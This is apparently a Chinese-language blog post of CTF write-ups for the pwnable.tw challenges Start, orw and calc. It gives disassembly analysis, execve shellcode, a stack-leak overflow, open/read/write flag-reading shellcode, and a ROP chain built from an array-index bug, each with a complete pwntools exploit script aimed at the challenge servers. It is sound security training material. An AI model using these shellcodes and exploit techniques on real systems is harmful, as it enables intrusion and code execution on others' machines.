bin

Pwnable.tw Part(1)

web to bin

Posted by dogewatch on April 10, 2017

前言

为了提前准备一下未来实习的工作,开始涉猎linux二进制和android安全。linux二进制这一块找到了一个网站pwnable.tw来练习。这里就post一下前三道题目Start、orw和calc的题解。

正文

0x01 Start

BIN文件地址

用ida打开bin文件。只有两个函数,一个_start,一个_exit。exit函数不能够F5反编译,在option->general->stack pointer处勾选上后发现是栈不平衡导致的,修改后如图:

img

不过这里不需要修改栈指针的大小,直接看汇编代码就知道程序的功能。看到代码中有设置eax,ebx,ecx,edx和int 0x80就知道这里是用int 80中断的方式进入系统调用。这是linux2.6之前的做法,这里出题人是直接在C语言中嵌入汇编代码的方式实现的。这里有查询linux syscall的资料。我们看汇编代码,先是一个eax为0x4的调用,翻译成C语言就是sys_write(1,'Let's start the CTF:',20)。后面的通过查表同理能推出大致的C代码:

void _start(){
  char buf[20] = 'Let's start the CTF:';
  sys_write(1,buf,20);
  sys_read(0,buf,60);
}
void _exit(){
  sys_exit();
}

这里可以发现我们输入的字符放在了长度为20的栈上,如果我们输入长度大于20的字符串就会造成栈溢出。这里有个坑点,我用peda的checksec显示NX是开启状态,而且ROPgadget也找不到能用的跳转地址,导致我在这思考了很久依然无解。但是事实上这个程序的栈上是可以执行代码的,而且这个程序是静态编译的,不能ret2lib。于是能想到的办法是在栈上布置参数然后用int 0x80调用sys_execve。由于需要在栈上放置shellcode所以我们需要获得栈的地址。经过调试发现在返回地址的下面刚好存放了当前esp的值,于是我们只需要将返回地址设为0x8048087也就是mov ecx,esp,就相当于调用了sys_write(1,esp,20),这样就能把栈地址泄露出来了。剩下的事情就是计算好shellcode的偏移然后放置shellcode了,shellcode的汇编代码如下:

0:   31 c9                   xor    ecx,ecx
2:   f7 e1                   mul    ecx
4:   51                      push   ecx
5:   68 2f 2f 73 68          push   0x68732f2f
a:   68 2f 62 69 6e          push   0x6e69622f
f:   89 e3                   mov    ebx,esp
11:   b0 0b                   mov    al,0xb
13:   cd 80                   int    0x80

设置好eax,ebx,edx,ecx各个参数,然后调用int 0x80中断。

然后最终的利用代码如下:

from pwn import *

debug = False

if debug:
	s = process('./start')
	context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
	gdb.attach(proc.pidof(s)[0],'b _start')
else:
	s = remote('chall.pwnable.tw',10000)

addr_1 = p32(0x08048087) # mov ecx, esp
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

def leak():
	recv = s.recvuntil(':')
	print recv
	payload = 'a'*20 + addr_1
	s.send(payload)
	print 'send: ' + payload
	stack_addr = s.recv(4)
	print 'stack address is : ' + stack_addr
	return u32(stack_addr)

def pwn(addr):
	payload = 'a'*20 + p32(addr+20) + '\x90'*10 + shellcode
	s.send(payload)
	print 'send: ' + payload

addr_2 = leak()
pwn(addr_2)
s.interactive()

0x02 orw

BIN文件地址

通过ida查看汇编代码或者用gdb的checksec可以发现这个程序看起了CANNARY防护功能,不过无所谓,我们在这里用不到栈溢出,因为可以直接布置shellcode然后执行。同时题目描述还说了’Read the flag from /home/orw/flag.Only open read write syscall are allowed to use.’。因此这个题目就变成了如何写汇编来使用这三个系统调用来读取指定文件。我们可以先写一个伪C代码:

char* file = 'home/orw/flag';
sys_open(file,0,0);
sys_read(3,file,0x30);
sys_write(1,file,0x30);

把这段代码转成汇编代码就是shellcode,最终的payload如下:

from pwn import *

debug = False

if debug:
	s = process('./orw')
	context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
	gdb.attach(proc.pidof(s)[0])
else:
	s = remote('chall.pwnable.tw',10001)

shellcode = ''
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('xchg ecx,ebx;mov bl,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

def pwn():
	recv = s.recvuntil(':')
	print recv
	s.sendline(shellcode)
	flag = s.recv()
	print flag

pwn()

0x03 calc

BIN文件地址

这道题突然难度就上升了很多,最终我还是看的别人的题解才搞明白这道题怎么做。这个程序是个计算器,题目提示’Have you ever use Microsoft calculator?’,可以搜到以前windows的计算器有个bug,但是好像跟这题并没有什么关系。拖进ida我们看看代码逻辑。

img

前面是个定时器,不用去理会,calc函数才是真正的核心代码。进入到calc函数中。

img

可以看到有个while(1)的循环,这就是一直循环读取用户输入然后进行处理的地方。首先有个get_expr函数,进去看看发现是个检验用户输入的地方,它会把所有不是’+’、’-‘、’*‘、’/’以及数字的字符过滤掉。那么接下来的函数parse_expr才是整个代码真正的核心,也是最难分析的地方了。

img

一行一行地看代码,首先if((unsigned int)(*(_BYTE *)(i+a1)-48)>9)这个判断语句让我搞不明白,心想所有的数字和符号都小于57怎么可能进得了这个条件判断呢。后面才注意到unsigend int,所以这个if语句就是取小于48的字符也就是那4个运算符号。接下来的strcmp(s1,'0')过滤了所有把0作为运算数的情况。这里的s1存放的碰到运算符之前的数字,a2是传入的被初始化的一段栈空间。在v10=atoi(s1)转换数字之后的代码v4=(*a2)++;a2[v4+1]=v10这两句代码很关键,这是在a2的第一位放置数字的个数,然后用其值作为下标来放置参与运算的数字。继续看代码,进到if(s[v8])这个判断语句,知道整个程序最终调用得eval函数进行计算,eval函数的两个参数a2是存放数字的,s[v8]则是存放的运算符号。跟进到eval函数中

img

发现最终问题的所在,就是eval函数用存放数字的数组的第一位作为下标取后面的数字进行元算,然后将结果依然以第一位为下标存放到第一个数字的位置。这里就产生了一个问题,如果我们输入的字符串是以运算符号开头的,如’+300’这样,那么s[v8]放的就是符号’+’,而存放数字的数组a2的内容就是a2[0]=1,a2[1]=300,那么在eval函数中就变成了a2[a2[0]-1]+=a2[a2[0]],最后a2的内容就是a2[0]=300,a2[1]=300。跟进一步地,如果我们的输入的字符串是’+300+1’,那么第一次计算后是数字数组是a2[0]=300,而第二次计算后数字数组是a[300] = a[300]+1,造成了在栈上任意地址写,也就可以覆盖返回地址写shellcode了。不过还没完,我们回到calc函数,看看输出函数printf('%d',v2[v1-1]),这里的v1也就是前面的a2,存放数字的数组。由于v1可控,所以这里也存在数组越界,直观地看看汇编代码

img

[ebp+var_5a0]就是数组的第一个值,然后将其减1再乘以4之后加上0x59c作为栈的偏移取值进行输出,通过前面部分我们知道这里的eax是我们可以控制的,因此到这里我们就能够在栈上任意读写了。

能够栈上任意读写那就离getshell不远了,这个程序是静态编译的,所以不能ret2lib,同时也开启了NX,所以需要用到ROP,在栈上布置好参数然后调用sys_execve()。通过ROPgadget查找合适的指令,我们将整个栈空间需要布置成这个样子:

   
int 0x80 372
‘/sh\0’ 371
‘/bin’ 370
ebx的值,需要单独计算偏移 369
0x0 368
0x0 367
pop edx; pop exc; pop ebx; ret 365
dec,eax; ret 364
0x0 363
mov eax,0xc; pop edi; ret 362
xor eax,eax; ret 361
旧的ebp的值,也就是存放返回地址的地址 360

最终的payload如下:

from pwn import *

debug = False

if debug:
	s = process('./calc')
	context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
	gdb.attach(proc.pidof(s)[0])
else:
	s = remote('chall.pwnable.tw',10100)

stack = [0x080550d0,0x0808f936,0x0,0x08065773,0x080701d0,0x0,0x0,0x0,0x08049a21,u32('/bin'),u32('/sh\0')]

def get_ebp():
	payload = '+' + str(360)
	s.send(payload+'\n')
	ebp = int(s.recv(1024))+0x100000000
	return ebp

def set_ebx():
	ebp = get_ebp()
	ebx = ebp+0x8
	print 'ebp is %x and set ebx with %x' % (ebp, ebx)
	stack[7] = ebx

def write_stack():
	for i in range(361,372):
		index = i-361
		payload = '+' + str(i)
		print '[*] - send : ' + payload
		s.send(payload+'\n')
		num = int(s.recv(1024))
		offset = stack[index] - num
		print '[*] offset is %x' % (offset)
		if offset < 0:
			payload_ = payload +'-' + str(-offset) + '\n'
		else:
			payload_ = payload + '+' + str(offset) + '\n'
		s.send(payload_)
		print '[*] set stack with sending: ' +payload_
		value = int(s.recv(1024))
		if value < 0:
			value += 0x100000000
		print 'recive %x and new stack is %x' % (value, stack[index])
		while value != stack[index]:
			offset = stack[index] - value
			if offset < 0:
				payload__ = payload + '-' + str(-offset) + '\n'
			else:
				payload__ = payload + '+' + str(offset) + '\n'
			s.send(payload__)
			print '[!] send again with ' + payload__
			value = int(s.recv(1024))
			if value<0:
				value += 0x100000000
			print 'recive %x and new stack is %x' % (value, stack[index])

	s.send('Bye!\n')


print s.recv(1024)
set_ebx()
write_stack()
s.interactive()

后记

从开学到现在过得真的跟屎一样,面了三家公司只拿到了一个offer,虽然拿到的这个是三家里面最牛逼的,但是更让我感觉到了惶恐不安,发现自己真的跟想象中的还差了很远,好多东西都记不住,智商被碾压,惨惨惨。我也想成为大牛啊,希望接下来到实习结束能有个质的提升,求实习能转正。